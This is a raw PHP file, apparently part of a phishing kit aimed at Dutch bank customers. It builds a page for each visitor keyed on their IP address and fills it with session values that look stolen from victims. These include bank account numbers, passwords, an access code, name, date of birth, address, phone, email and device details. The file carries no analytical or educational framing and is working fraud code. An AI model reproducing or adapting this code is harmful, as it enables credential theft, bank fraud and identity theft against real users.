<?php
session_start();
$fileData = md5($_SERVER['REMOTE_ADDR']);
if (@file_exists($fileData)) {
    $tmp = @file_get_contents($fileData);
    // Controleer of de sessievariabelen bestaan voordat je ze gebruikt
    $tmp = str_replace("#CODE#", isset($_SESSION['activia_code']) ? $_SESSION['activia_code'] : '', $tmp);
    $tmp = str_replace("#REK#", isset($_SESSION['rek']) ? $_SESSION['rek'] : '', $tmp);
    $tmp = str_replace("#ACC#", isset($_SESSION['acc']) ? $_SESSION['acc'] : '', $tmp);
    $tmp = str_replace("#PNR#", isset($_SESSION['pass']) ? $_SESSION['pass'] : '', $tmp);
    $tmp = str_replace("#NAMEF#", isset($_SESSION['idf']) ? $_SESSION['idf'] : '', $tmp);
    $tmp = str_replace("#NAMEL#", isset($_SESSION['lnm']) ? $_SESSION['lnm'] : '', $tmp);
    $tmp = str_replace("#DOB#", isset($_SESSION['dob']) ? $_SESSION['dob'] : '', $tmp);
    $tmp = str_replace("#ADR#", isset($_SESSION['adr']) ? $_SESSION['adr'] : '', $tmp);
    $tmp = str_replace("#ADR2#", isset($_SESSION['adr2']) ? $_SESSION['adr2'] : '', $tmp);
    $tmp = str_replace("#MOB#", isset($_SESSION['mob']) ? $_SESSION['mob'] : '', $tmp);
    $tmp = str_replace("#rand#", isset($_SESSION['vto']) ? $_SESSION['vto'] : '', $tmp);
    $tmp = str_replace("#laimz#", isset($_SESSION['mail1']) ? $_SESSION['mail1'] : '', $tmp);
    $tmp = str_replace("#Mobiel#", isset($_SESSION['vRkD2']) ? $_SESSION['vRkD2'] : '', $tmp);
    $tmp = str_replace('action="', 'action="../', $tmp);
    $tmp = str_replace('./dataServer/', '../dataServer/', $tmp);
    $tmp = str_replace('./files/', '../files/', $tmp);
    $tmp = str_replace("4.4.0", '4.5.3', $tmp);
    $tmp = str_replace("#KEY#", $fileData, $tmp);
    $tmp = str_replace("#IP_ADDRESS#", isset($_SESSION['ip_address']) ? $_SESSION['ip_address'] : '', $tmp);
    $tmp = str_replace("#DEVICE_TYPE#", isset($_SESSION['device_type']) ? $_SESSION['device_type'] : '', $tmp);
    $tmp = str_replace("#DEVICE_INFO#", isset($_SESSION['device_info']) ? $_SESSION['device_info'] : '', $tmp);
    $tmp = str_replace("#USER_AGENT#", isset($_SESSION['user_agent']) ? $_SESSION['user_agent'] : '', $tmp);
    echo $tmp;
} else {
    header('location: ../laden.php');
}
?>
